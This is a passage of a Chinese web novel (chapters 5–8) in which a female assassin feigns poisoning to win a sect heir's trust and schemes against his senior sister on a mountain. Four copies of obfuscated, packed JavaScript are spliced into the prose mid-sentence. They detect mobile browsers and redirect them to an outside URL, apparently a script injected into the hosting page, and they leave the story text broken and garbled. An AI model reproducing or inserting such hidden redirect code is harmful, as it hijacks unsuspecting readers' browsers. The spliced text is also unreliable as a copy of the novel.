说完,扶着她在殿内坐好,自己去住持处,为今日的骚乱和血光道歉。 她装模作样地软软倚在椅子上,看着顾止鞠躬赔礼,耳边一阵雾刀阴鸷的咯咯笑声: “好算计,好算计。别说他看不出这些兄弟是你找来的,就是我也看不出来。” “正面吃了一口幼红春,你也是对自己真狠。” 她百无聊赖地拨弄着衣裳上的一个线头: “狠?整日用七乌香木熏香,就算拿幼红春泡茶,也死不了。” 雾刀一阵大笑。 “我还想呢,要他主动带你上山,口气那么大,不知道你要怎么圆。原来是苦肉计。”顿了顿,“不过若是你为救他而中毒不更好?” 现下雾刀的每个建议总惹得南琼霜发笑,“教引瘾又犯了?少来教我做事。” 幼红春渐渐发作,她太阳穴一阵钻心的疼痛。然而她痛惯了,痛着要演中毒也更容易,不由得心情很好,食指一下一下敲着: “愧疚这种东西,用得好,是软肋;用不好,人就避之不及。” “尤其这种真君子,责任感是他的七寸。少一点,就够他带我上山;太多了,他见我就只有歉疚,要取他的心就难了。” 雾刀听了,只是一阵恶鬼似的笑。 南琼霜抬眼过去,顾止已经在着人处理地上昏迷不醒的黑衣人。 她叠着双腿,食指揉着太阳穴,“快干活吧,剩下的事儿都是你的。要是真被顾止带上天山,我可不保证这些人能活。” 顾止人太磊落,明知这些人直奔他项上人头而来,竟然全留了活口,只是因为这里是个佛寺。 他磊落得让她有点想笑。 这样一个人,他拿什么跟她斗? 雾刀的笑声渐渐隐去,顾止安顿好了一切,抬步往这边走来。 南琼霜敛了散漫姿态,装着柔若无骨,瘫在椅子上。 “楚姑娘,你怎么样?” “头疼得很。”眼睛一睁开,登时滚落一颗颤抖的粉泪,余下的泪挂在弯弯的睫毛上,仿若花瓣带露。 雾刀又一阵不怀好意地狞笑,在耳边渐渐消散了。 顾止甚至没问她,拨开她的衣袖就触到她的细腕,手指搭上去:“失礼,我先替姑娘把个脉。” 她心里一动。 这么有边界感的人,怎么会不由分说地,碰女子的手腕的? 她多思,第一个念头是眼下的顾止是假冒的。 可是,每次他们出任务前,往生门会安插眼线在目标身侧,观察至少半年。 倘若真是这样,往生门不可能毫无察觉。 那么…… 她垂下长睫,情不自禁地有了一点笑意。 他因为她中毒,有点心急。 急得失去了一点分寸。 用那剧毒的香木日夜熏香,也当真是不负她一片苦心。 她触电一般将手腕收回来,如愿以偿地在他眼里见到恍然自觉后的歉疚与怜惜,眼神怯怯的,含羞在他脸上流转,偏过头去。 瘦削的肩头微微颤抖。 顾止看得心里一跳,垂下眼去。 不知道这女子身上有什么魔力,每次她一靠近,他头都要晕了。 他小心翼翼地打横抱起她: “楚姑娘……在下冒犯,对不住。但是,你眼下既然走不动,只能我带你回山解毒。” “此事顾某会负责到底,劳烦姑娘……随我上山。” “劳烦”。 两个字,说得南琼霜笑意幽幽。 * 到得天山脚下,却已经有人在山门前候着。 是宋瑶洁,天山派大师姐。 南琼霜在顾止怀里装晕,已经装了快半个时辰。听见冷冽柔和的女声,睁开了眼。 “怀瑾,你回来了。” 清冷的嗓音,却压抑着许多喜不自胜。 “师姐,怎么好劳烦你在山门等我,快进去。” 南琼霜听着这一番对话,心里觉出一丝滋味,不免仔细看了看对面的女人。 生得冷清中正,身子瘦削颀长,单薄又坚韧的身子,规规矩矩地穿着天山派弟子的雪色长衣。 衣裳太轻盈,走起来,整个人仿佛被帷纱罩了满身。 带着些仙人之姿。 她心念一转,手有意拂乱了顾止的领口,很紧张似 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14961877|161080||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的道:“公子,快放我下来……” 顾止闻言,垂眸温柔问:“怎么了?” 她嗫嚅着,假装惶恐,一手勾着顾止的脖子,特意把嗓子捏得既娇又怯:“放我下来行礼。我怎可……” 顾止抬头解释:“师姐,我从山下带回来一个女子。因路上遇着刺客,我出手波及了这位姑娘,心中有愧,故将她带上山来解毒。是幼红春。” 宋瑶洁从最初见她,便觉她在顾止怀里分外扎眼,如今被顾止道出原委,倒也不好阻拦,点头道:“既中了毒,也无需行礼了,先上山歇着吧。” 顾止微微颔首,抱着南琼霜,大踏步进了山门。 南琼霜在顾止怀里,绕着他的头发丝,微微一笑。 说要行礼,不过是为试探这位大师姐和少掌门的关系。 倘若大师姐已经近水楼台先得月,那她这次的任务恐怕要麻烦许多。 不过,看起来,顾止似乎无意在这位大师姐面前,遮掩对她的关心。 大师姐么,听语气,倒似乎是对顾止有意——她甚至巴巴地在山门前等。 既然少掌门对大师姐无意……事情就好办了。 她啜泣着转过头去,那点距离刚好足够她凑近他耳畔又不致冒犯,绞着手帕,有意无意,吐气如兰。 “公子,师姐是很严厉的人吗?” 顾止只觉一股馥郁芬芳扑面:“瑶洁确乎严厉一些。怎么?” 她泪眼盈盈,帕子咬在红唇间,怯生生地,看着他。 像朵即将零落于风雪的水仙花。 弱者的眼泪,是专杀君子的毒。 顾止眼神凝滞一瞬。 她低泣着: “师姐似乎不太喜欢我。她瞧我那个眼神……好可怕。” “瑶洁人并不坏。”他余光回瞥了宋瑶洁一下,“但有时确乎是过分挑剔了。不必担心,她是明事理的。” 明事理? 帕子掩着的唇角勾了半寸,她蹙着眉道,“倘若我什么地方惹了师姐不悦,公子可替我辩白一二吗?” “自然,楚姑娘是客。” 她心里笑开,面上含泪低眉,“谢过公子。” 6. 第 6 章 天山高逾四万八千丈,站在山门底下抬头看,只见云雾缭绕,难以见其真貌。 甫一进了山门,不知为何,南琼霜就觉得全身发毛。 这么一座山,总给人感觉——入山容易,出山难。 “这是全山唯一可供进出的山门了,除此以外,几乎无法出山。” 南琼霜闻言,朝他们身后缓缓合上的巨门看了一眼。 巨门外是登山的长阶,从巨门看出去,来时路尽在下面,只看得到澄蓝的天和云絮,仿佛天破了一个窟窿。 回头望前路,苍茫的黑压压的山贴在眼前,巨大得连轮廓都看不全。路细细的,入山的人,仿佛被山吞了进去。 沿路尽是森白的墓碑。 “天山派武功密不外传,人们既不下山,也不放外边的人上来。今日带姑娘上山,是特例中的特例,所以有些事,我想还是先嘱托姑娘的好。” 虫鸣嗡嗡,南琼霜安静听着。 “自松月师祖入山隐居以来,天山派已经在这山上隐居了三百年。三百年间,大修机关,兴建迷阵,用于弟子习武试炼。” “虽然日子久了,有些机关已经废弃不用,但若误入,仍是难以全身而退。” “姑娘不通武功,上了山,切记不可随处走动,以免误触机关。” 说完,随手捏了片叶子,夹在指间,往林中一掷。 那薄薄叶片一瞬如星镖射出,一路割断四五根枝条。 忽地在某一点,窜出三道残影。定睛一看,叶片只剩一点翻飞的碎屑。 原是三根泛着寒光的利箭。 饶是往生门出身,南琼霜也看得倒吸一口气。 天山派素不入世,外人对天山内部知之甚少,连她这个往生门出来的,也没想到这一座山,竟然是个大型试炼场。 倘若手中没有舆图,确实不能随意走动。 “除却瑶洁,山上俱是男弟子,姑娘恐怕不大方便。”到得一处院落,顾止将她放下,又怕她难以站稳,伸出一只手扶着,“我同瑶洁说过了,这些日子,请姑娘暂住在她处。” “宋师姐吗?”她识时务地靠在他身上,眨眨眼,“她似乎不大喜欢我。” “姑娘多心了。”他笑道,“瑶洁行事一板一眼,外人难免觉得她严苛,其实人是最好的。” “外人”。 有点麻烦。 即便他对宋瑶洁没有什么男女之情,似乎也有点引为知己之意。 有时候,知己之情,比情爱更难断。 “那……”她咬着唇,“我在这里没有其他相熟之人,倘若公子得空,我可以去寻公子吗?” 顾止一愣。 一片雪色花瓣旋落下来,他一笑:“当然。” * 当夜,顾止就着人送了长生草制成的汤药过来。 她用银针验了验,确实无毒,于是放心将银针插回簪子机括中,趁热饮下。 宋瑶洁的这院子,正在山上僻静处。山内原本便僻静,居于浮光谷深处,就只会更僻静,静得连月亮出岫声都听得见。 她用完了药,到院子里来,细细端详着宋瑶洁的居所。 漱玉斋。 连人带居所都是一样的冷、疏离、遗世独立。 山上正是芳菲季节,落花满地,芬芳地堆在砖缝泥土里。 院内四口铜缸蓄满了水,水面上养着白莲,落花漂在水面上打着旋。 高雅朗洁,开旷清幽。 她走到铜缸边,百无聊赖地拿手指在缸边抹着。 山中弟子众多,唯独她一个是女弟子,想来是在门内名列前茅。不然,早被逐出山了。 独门独院不与人同住,也是大弟子的待遇。 何况,连顾止都要唤她一声,“大师姐”。 想来是实力与资历俱不容小觑之人。 这样的人,竟然对顾止有意。 她揉揉眉心,有点烦躁。 “楚姑娘,无事不可轻易走动。” 仍是那道冷冽嗓音。她回身,对宋瑶洁行了个礼,“见过大师姐。只是服过了药有些无聊,来院中赏月。” “这漱玉斋原本归我一人独居,姑娘既上山养伤,在别处不方便,歇在这里也好。只是,天山之内不比别处,还望姑娘服从门派调遣。” “我晓得的,公子已经嘱咐过我。” “公子”两个字出口,宋瑶洁神色未变,南琼霜却嗅到了一丝难以察觉的不悦。 不是讨厌顾止,是讨厌顾止处处体贴关照她。 宋瑶洁默了一瞬,接道,“也不可多嘴多舌。” 这话说得南琼霜抬眼看过去。 是顺嘴一提,还是顾止同她说什么了? “自从前些日子武功大进,我这一双耳朵听力也突飞猛进。既然姑娘住在我院内,还望姑娘按我的规矩行事。” “第一,我日落后便歇下,寅时便早起练功,还望姑娘酉时后便安静。到了我这境界,连最细微之声都听得清。” “第二,我素有洁癖,平日里养了两个奴仆洒扫,但地上仍时时有些落花。倘若姑娘闲着无事,不妨将院子扫扫,也比去院外解闷遇险得好。” “第三,天山派武功密不外传,还望姑娘心里有杆秤,同少掌门少些接触。” 南琼霜闻言笑笑。洒扫? 宋瑶洁是当真不喜她。顾止不在,连演都懒得演了。 她福了身,低眉道,“奴晓得。” 如此识抬举,宋瑶洁一时也挑不出错处,径直回了屋。 到了宋瑶洁不许她出声的戌时,顾止却来了。 连带着来了个医官。 烛火毕剥,在木桌上滴下几滴圆圆的蜡油,很快便凝固了。 窗外树影月色摇曳,南琼霜未施粉黛,长发松松拢在左肩,拥着被衾起身。跳动的烛火下,一张脸很快地红了。 “公子怎么这时候来了我这?” 见她尚只穿着寝衣,顾止方自觉这个时辰并不太妥当,走去椅子旁取了她的衣裳,避着眼神披在她肩上。 “想着姑娘身子不大好,吩咐屈术先生来为姑娘把把脉,不想先生到这时候方才得闲。姑娘身子如何?” 南琼霜伸出一只细腕由着屈术把脉,“今日的药已服了,现下并没有什么不适之处,劳烦公子费心了。” 屈术朝两人一行礼,“长生草还需服些日子。除此之外,姑娘身体亏空,老朽再开些药给姑娘服下吧。” 说完,领命告退了。 顾止颔首,转身方欲走,南琼霜低唤道,“顾公子。” 顾止转身,她却不说话了。 只是长袖捂在唇上,垂着眉眼,一派有难言之隐的样子。 顾止默了两秒,“瑶洁苛待你了?” 她知道宋瑶洁怕是听得到,于是惶急摇头,一个字也不往外吐,只有眼泪摇摇欲坠。 掐好了落泪的时机,她抬起眼来。 泪滚滚落,她的视线却越过窗外,看见原本已经熄了灯的正房里又点起了灯。 宋瑶洁醒了。 她心里微微发笑。叫她“心里有杆秤” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14961878|161080||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ? 也不睁开眼好好瞧瞧,是谁来找谁。 她垂着眼,极力克制委屈似的,抽噎起来,“宋师姐叫我明日起来洒扫,我原本身子就不大好,自从那日以后,日日头痛欲裂。不知公子可否替我问问,若是扫得不好,能不能轻些罚我?” 顾止闻言,叹了口气,“瑶洁当真同你这样说的?”揉了揉眉心,“瑶洁是恃才傲物了些,平日里喜清净,自己一个人住得惯了,不喜与人同住。” 顿了顿,“但她这般不近人情,我也没料到。” 正房里烛火跳动,窗纱后坐起来一个模糊身影,抱着膝盖。 虫声依稀。 南琼霜:“并非师姐之过,是我叨扰……” 顾止摇了摇头,“楚姑娘,别说这些,是在下之过。” “不若这样,今夜姑娘先在此歇下,明日我从我院中拨出一间房来。姑娘若不嫌弃,便搬来我处。” 正房里,那身影默了许久,掌缘支着额头,垂首半晌。 半晌,熄了灯,复又铺好被衾躺下。 正房无声,南琼霜却知道,宋瑶洁听得一清二楚。 她也不欲把宋瑶洁激得太急,于是婉拒道,“我是女子身,怎么好这般麻烦公子?” “你不晓得瑶洁的脾气。”顾止走去桌旁,把桌上滴落的蜡油细细替她揩去,“山中唯一一个女弟子,年年试炼居于前三甲,已经蝉联了七年,又是慧德师叔万分看重的入室弟子。” “四岁时便拜入山门,论资排辈,连我都要唤一声师姐。” “也无怪她如此。是我不好,明知瑶洁喜静喜洁成癖,还安排姑娘来此借住,闹得双方不悦。” 末了,他温声道,“姑娘,对不住。” 南琼霜一时沉默。 能搬去与顾止同住,那自然是最好。 不过,这其中仿佛有些说法。 这般君子之人,竟会邀请一个女子同住一个屋檐之下? “姑娘不必担心。”顾止道,“天山向来只容外人三月,姑娘的毒这些日子之内便可解。满打满算,也不过这几天。” 南琼霜:“三月?” 顾止:“天山派武功绝密,故外人下山前皆需服忘忧散,忘却山上的一切,方能下山。而那忘忧散,只可抹去人三个月左右的记忆。日子再长,便无效了。” “所以,姑娘也不过只需忍受一段短短的日子。” 南琼霜敛眉沉吟。 原来天山之内,竟有三月之期的说法。 顾止虽然体贴心善,但坐在那个位置,必不可能是好欺轻信之辈。 区区三月,哪够他敞开心扉,送上镇山玉牌? 耳畔忽然传来雾刀的传音入密,是一阵不怀好意地笑。 作为教引,他自然是要随行的。 “三个月?” “哎,要不咱直接回去得了。反正现在回去门内也不会说什么,只是将上次的功劳抵去一半。” 抵去一半? 上个任务,她为了换得那个郎心似铁的将军一瞬恻隐,故意设局,心甘情愿地被正室从崖上推下去,没死也丢了半条命。 那般辛苦在审录司画上的一笔,不可能因为这点事,轻易勾去一半。 她这一生,都没有知难而退的余地。 “做梦。” “三个月后,”她看着顾止那双清泉似的眸子,诚恳天真地冲他笑,一面以传音入密回过去,“我不仅要留在山内,我还要让顾止……” 语气轻轻: “求我留下。” 7. 第 7 章 顾止走后不久,屈术新配的药就送了过来。 新开的药是水丸,放在折好的纸包中。 南琼霜打开一包,碾碎一颗在鼻下细细嗅了一阵,发现不仅无毒,甚至还颇对她的虚症,于是起身去取炉上的热水。 拎着壶走来的时候,却在桌角上磕了一下。 她住的地方原本便是久无人住的偏房,陈设家具皆老旧,木桌四脚不怎么平衡,微有些晃动。 被她一撞,狠狠摇了一下。 摇得那小小的药丸从打开的纸包里掉了出来,四散在地上蹦开。 南琼霜心下正纠结是新开一包还是拢起来略洗一下,却忽然看着地上的小药丸,定了神。 有点不对。 这些小药丸,竟然全朝着一个方向滚去。 这地面是倾斜的。 倾斜得太小,如果不是掉了丸药,她根本发现不了。 最奇怪的,是—— 她方才进入这漱玉斋时,瞧见了,院外有一片湖。 按理说,蓄水处地势低洼,地面如果倾斜,也应当倾斜向外面的湖。 可是,这些小药丸,竟然全滚去了另一个方向。 她拧起了眉。 这片院子的地下,恐怕有说法。 * 第二天,服过了药,南琼霜便去正房找了宋瑶洁。 宋瑶洁刚刚练完功回来,在房内用晨食,见着南琼霜,搁下了汤匙,“楚姑娘不是不喜我么,一大早来见我。” 两个侍奉在侧的婢女闻言抬眼看她,话说得没给她一点装傻的余地。 南琼霜知道昨夜她听得一清二楚,有些话她几乎是有意说给宋瑶洁听的。 但也没料到她竟把事情摆到明面上说。 当真是个不肯吃亏的脾气。 “师姐错怪了,奴并没有别的意思,只是少掌门问话,奴不得不作答。” 知道宋瑶洁在那边听得明白,她昨夜特意什么都没说,那句“不近人情”,可是顾止自己说的。 饶是这样,宋瑶洁也必不可能喜欢她。 “不得不?”果然,宋瑶洁轻笑一声,扬起了下巴颏,“怀瑾误解我的时候,可没听你替我辩白半句。苛待?我何时苛待你了,你说?” 南琼霜闭上嘴巴不回话,垂着脑袋看自己的足尖。 两个婢女面面相觑,接着一齐暼她一眼,收回眼神。 “罢了,我为人如何,怀瑾最是晓得,你在山上不过几日,我犯不着为你置气。”说着,起身理了理袍袖,“你今日来找我所为何事?” “师姐昨日提醒我,不可随意出山走动。昨夜顾,顾公子说要我搬去他院内居住,”两个婢女飞速交换了一个讶异眼神,复又垂下头,她接着道,“我等了许久,还不见人来接,想……” “想见怀瑾?”宋瑶洁拿起桌上的云扇,翘着手指扇了两下。 南琼霜装着不敢作答,只是把头低得更深。 宋瑶洁叹了口气,将那流光明灭的云扇搁在桌上,“我昨日叫你离怀瑾远些,你当真是没有听进去。” “罢,既然怀瑾发了话,我也不与他对着干。你要寻怀瑾,他现在不得空。” 南琼霜恭敬道,“他几时得空呢?” 宋瑶洁撑腮,状似轻松地沉吟了半晌,“唔,那倒不晓得,怎么也得大约子时吧。” 那么晚? 眼下刚惹了宋瑶洁,这漱玉斋正是是非之地,盼着顾止的人来接,人却不来了。 “顾公子他……” “想问他在忙什么?”宋瑶洁笑着,轻摇云扇,将她后半段话接上,“楚姑娘,有一件事,你似乎还不知道。” 南琼霜怔住。 “我们门派原有禁令,不准外人上山。但怀瑾却自作主张地将你带上山来。虽则是人命关天,无可奈何,却实实在在地违背了山上禁令。” “为了将姑娘领上山解毒,现下人正在定心瀑下,入定受罚。” “至于时辰,还早着呢。师叔罚了他十个时辰,到现在,也不过才两个时辰。” 受罚? 南琼霜万万没想到自诩为正道的天山派,竟会因顾止救人破戒而罚他。 她觉得有点可笑,这作风,同往生门也没什么分别。 绝密功法,封山禁令,还有密布全山的陷阱机关。 天山派,恐怕并不如江湖上传闻那样正派磊落。 她忽然想起那一日进山,她从顾止怀里探出头去,看着山门缓缓关上,心里那一瞬的念头。 这座山,进来容易,出去难。 这山邪门。 她心里想,还是同顾止待在一起的好,于是说,“师姐可否带我去见他?我保证只在瀑布边待着,不会随意走动。” 宋瑶洁却笑看她一眼,语气有礼,实则嫌她没有自知之明,又因她的不自知而发笑,“楚姑娘,我亦有事要做,无暇时时陪客。” 两个婢女对视一眼,忍住笑意。 南琼霜并不会被这点轻蔑激怒,住口行礼,转身欲走。 刚迈出两步,脚下重重一绊,人狼狈地扑在地上。 腕上的手串一时竟被磕断了,绳线崩开,圆滚滚的珠子四下蹦落。 竟也无人扶她。 窗外花影斑驳,宋瑶洁气定神闲地坐在花窗旁,两个婢女给她续了杯茶。 她甚至听到了两个婢女的忍笑声。 南琼霜爬起来,扑了扑裙摆灰尘,朝地上滚开的珠子略扫了一眼,神色如常地,向宋瑶洁行了个礼。 “叨扰师姐,奴告退。” 提着裙摆跨过门槛的时候,耳边又是雾刀的传音入密。 “你现下脾气是越发好了。” 南琼霜:“生气有用么?” 雾刀笑:“你生气,没用。引人生气,有用。譬如说,那女人都没发现,你那一跤摔得有多假。” 南琼霜轻笑一瞬,走到院门前,推开了门。 入目一片波光粼粼的山湖。 她房间的珠子,全部滚去了背朝着湖的一侧。 而宋瑶洁房中的珠子,全数滚去了另一侧。 换言之,她跟宋瑶洁的房间,虽然仅有几步之遥,却相向倾斜,中间形成了一小片洼地。 湖岸低缓,原本不该有这个洼地的。 山湖上,成群的白鹭扇着翅膀滑翔,碎光跃动的湖面激起许多水花,映得南琼霜眼里一片明亮。 她心里却有了计算。 漱玉斋地下,恐怕有东西。 * 她在偏房内等顾止的人,这一等,就等到了第二日丑时。 窗下促织鸣声彻夜不停,萤火虫从灌木深处三三两两飞出来,仿佛发光的微尘。 夜色湿凉,南琼霜点起一支蜡烛,撑腮看窗外夜色看了半晌,披衣起身。 去找找顾止吧。 说是十个时辰,这快十二个时辰了。 以他那性格,失约应派人来解释一道,可连个传话 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14961879|161080||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的人都没有。 何况,今天就已经在这房间里待得如坐针毡,明天若再在这里耗一天,不知道宋瑶洁会不会给她脸色看。 走出屋外,她回头向宋瑶洁的屋内看了一眼。 灯已经熄了,眼下正是她歇息的时辰。 南琼霜拢拢外衣,夜风里抱着单薄的两肩,推开院门。 门吱呀一声开了,她刚提起裙摆要跨过门槛,忽然身后传来两道声音。 “楚姑娘。” 南琼霜回身,是宋瑶洁的一对婢女。 “山内危险,楚姑娘深夜到何处去?少掌门和我们师姐都叮嘱过,不准姑娘擅自出院。” 南琼霜笑笑,“我知道。但有些放心不下公子,想去寻他。” 颂梅闻言,当着她的面,耸耸肩嗤笑了一声,“少掌门乃是山中翘楚,自不会因为瀑下入定而伤得如何。姑娘倒是担心担心自己吧。” “我……” 暗器机关她固然忌惮,但也不至于真将她唬了去。何况,倘若顾止尚在领罚,正是她该去关心的时候。 她装迟疑装了两秒,蓄了点泪花在眼里,“但是,我当真牵挂公子。请二位姑娘放心,今日放了我出去,是死是活,我一力承担,必不会牵连了二位。” 祁竹:“你怎么一力承担?” 南琼霜:“愿立下字条,签字画押。” 颂梅和祁竹对看一眼。 他们二人随了宋瑶洁的性子,正是清高傲气之人,旁人的事根本懒得置喙。 何况,这个不知天高地厚、又来路不明的女人,三两句就惹得少掌门不悦宋瑶洁,又竟敢恬不知耻地肖想少掌门。 她若死了,山上倒清净点。 两人一个眼神便彼此会意,去屋内取了一张纸,铺在圆石桌上,照她方才的话写下,将笔递进她手里。 南琼霜签了名,又按了通红的指印。 祁竹将纸缓缓卷起,收入袖中,“少掌门尚未领完罚,眼下人应当还在定心瀑。姑娘若要去,乘船是最安全的法子。带上风灯。” 南琼霜颔首道谢。 祁竹:“溪流湍急,石崖和巨树下共有三处暗流。切记全身都收在船中,水中有水蛇,有毒。林中神鬼事数不胜数,倘若有人唤姑娘,切记不要回头。” 几句叮嘱说得连她也有点毛骨悚然。 她回身关了院门,道,“多谢姑娘。” * 丑时的天山一片漆黑。 一盏风灯放在窄窄的小舟当中,灯火微弱跳动,在破不开化不尽的漆黑里,仿佛被夜色围猎。 南琼霜立在船尾,手中长竿在水里用力一拨。 静得吓人,只有潺潺的水声和虫鸣。 偶尔远山传来一两声模糊的鸟啼。 密林里,连月色也看不见。黑色的水被尖尖的船头破开,水纹被灯火映成橙色,颤抖着层叠推去。 忽然一个湍急的漩涡。 她费力一拨,船一个转弯,月光大盛,视野里是一个清幽的深潭。 潭上,是白练般的瀑布。 潭当中一块巨石,中间用朱砂写着,“定心瀑”。 她抬眼看过去。 瀑下正有一个人影,着白衣盘腿而坐,手中一柄长剑,剑刃上,似乎平放着一颗玻璃珠。 月色清清冷冷,照在那人湿发上,映出缎子似的光。 她大喜,刚又拨了一下船,却忽然感觉,脖颈间,被什么东西,轻轻地吹了一下。 8. 第 8 章 顾止收了剑,将玻璃珠抛回掌中,睁开眼睛。 定心瀑格外猛急,坐在瀑下,别说压得人连脖子都抬不直,一个不留神,便会被冲走,卷入小石潭里。 小石潭深不见底,往下看去,白日里也是一片青黑,据说此处曾有蛟渡劫化龙。 饶是顾止,这般在瀑下入定了十二个时辰,也有些吃不消。 他勉强站起身来,踩着水波上岸,一步一涟漪,走到候在瀑布旁的葛端面前行了个礼。 葛端乃是他慧德师叔身边的人,今次因他破戒受罚,师叔便派了他在一旁盯着,确保他罚够了时辰。 “劳烦师叔。” 葛端:“今日的训诫,还望少掌门记住了。显露行踪被人追杀,是其一;连累无辜使人中毒,是其二;带人上山,是其三。山上禁令绝不可破,万望少掌门谨记。” “顾某晓得。” 葛端颔首走了,身影隐入灌木的阴影里。 深夜林影幢幢,风一吹过,层叠树影簌簌响动,然而黑夜里只闻其声,瞧不清形状,偶尔在月色下瞧见,也只看见一些狰狞的盘根。 山上死过的人不计其数,没有一片林子不闹鬼。 平时若他晚训结束得迟,总有人候在岸边等他,献水、披衣、拭发,他一上岸,就是众人簇拥。 然而一旦受罚,这些人尽消失得无影无踪。 他看看月色,无声地一哂。 掌门常年闭关,师叔是实际话事的一位。他这个掌门之子,拗不过师叔,就如胳膊拧不过大腿。 师叔的意思是罚他,那么其余人避他,本也无可厚非。 他摇摇头,把头发拢在一起,拧了一把,一大股水柱浇在地上。 转身欲走。 却忽然见那月亮底下,树影拨开,潺潺溪水里来了一艘船。 一艘窄小的花舟,舟中间放了一盏莲花风灯。舟上人身影纤长,鬓发未梳,缎子似的发松松从右颈侧垂下。 两肩虚虚披了一件蝉纱的外裳,迤逦在舟末,拖出一个缥缈的长尾。落花打着旋,落在溪水里,漾出一连串细细的圈。 水光灯影溶溶颤动,映在她水晶一般的脸孔上,仿若嫦娥泛月。 顾止眼里的光,不期然晃动了一下。 明灯落花里,她抬起眼,万物静止一瞬,她莞尔一笑,“公子。” 远处一声惊心的鸟啼。 她笑得温和:“公子愣着做什么?” 顾止一时竟有些张口结舌:“楚姑娘……这么晚了——” 话音吞在喉咙里,船靠了岸,南琼霜敛衣提灯,踩上舟头。 溪水将舟身贴了密密麻麻一层落花,她一靠近,顾止只闻一阵暗香浮动,馥郁旖旎。 他不知是惧怕还是紧张,竟然退了半步。 忽然,舟头在岸边轻轻磕了一下。 撞得单脚踩在小舟边缘的南琼霜,一声轻呼,向前一跌。 被顾止忙伸手扶住了。 再抬头的时候,她人已经几乎在顾止怀里。 手里提着的风灯亮如圆月,她垂着长睫,缓缓抬头。 顾止只看到她白腻莹润的小耳垂,丝丝缕缕的鬓发,和胭脂色的双腮。 她明明未施粉黛。 一时他竟然有种冲动,想用他的食指,轻拂她脸颊。 他吓了一跳。 怔忪中,她又眨眨眼,吐息间,根根分明的长睫扇了扇。 ——竟然近得闻到了她的呼吸。 是花香。 他心里轰然一声惊雷,触电般松开手,敛袖后退半步。 几乎不敢看她。 惹了这么大的火,她却恍若未觉,坦荡天真地仰起头,温声道,“谢过公子。” 顾止偏着头,声音是少见的冷淡,“叮嘱过姑娘不要随意走动,山上危险,怎么还是独自出了门?” 南琼霜回身,从舟中捞起一件雪白的外衣。顾止刚欲趁她没瞧他,看她一眼,忽见她拎着那件长衣,转了过来。 妥帖地替他披在肩上。 干爽的衣料,罩在他湿漉漉的身上。他方才发觉,出水后浑身湿透,深夜里又寒凉,他已打了许久的哆嗦。 没被人牵挂的时候,倒也不觉得冷。 他垂眸,看着她踮脚为他披好了外衣,又着手去系领子上的小扣。 那双素白的手在他下巴底下灵活翻动,他本来想躲,却看见她长睫毛下,一双眸子被灯火照亮,唇微微勾起来,好像心情很好似的,一个笑。 他没躲,鬼使神差地站在原地。 直到她的指节,确确实实地,擦到了他的下巴。 他像被烫了一下似的,浑身不自在,后退半步,自己娴熟地将扣子系好,轻咳了一声,“姑娘这么晚出来做什么?可有受什么伤?” “运气好,并没遇上什么危险。”她笑得温柔,“只是听闻公子领罚至深夜,怕公子当真出了什么差错,放心不下,也睡不着,于是干脆来看一看公子。” 说着,将他湿着的长发从外衣里拿出来,披在背后。 “放心不下,也睡不着”。 他今日练功实在是练得太久,竟然有些头晕目眩。 “……让姑娘担心了。”声音低低的。 南琼霜:“别说这些。”牵起他的袖子,拉着他跨进舟内,“太晚了,我们回去吧。” 入夜的天山,除却一盏莲花灯,几乎伸手不见五指。 南琼霜坐下,顾止本欲相对而坐,却在直视进她一双笑眼里的时候腾地起身,拿起了船竿。 “姑娘,山里危险,下次不必冒险前来。” 南琼霜不答,顾止于是望她一眼,只见她双手撑在腮边,很有些乖巧的模样。 “公子是为我而受罚?” 生得温柔,语气却有些俏皮。 答了怕她心中有愧,顾止沉默不语。 “既然公子为救我而冒险,那么我为公子冒险,是理所应当。” 顾止将竿入水,水光映在他脸上粼粼波动,“姑娘不必挂怀,既然是受顾某牵连,便是顾某分内之事。” 她却转了个话题:“当日公子要破戒带我上山,我以为因要救人,门内不会深究,方随公子上了山。不想,原来是公子将一切都担了。” 越说声音越轻,“要不是师姐告诉我,公子是一点儿也不叫我知道。” 顾止沉默良久。 她又道,“我以为,天山派素来是江湖称道的正派,为着救人,并不会深究山规,不曾想当真……” “山规严苛。师叔罚我,自然有他的理由。” “但是,公子破戒,也有公子的理由。” 他又不说话了,只是撑船。 水声汨汨。 南 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 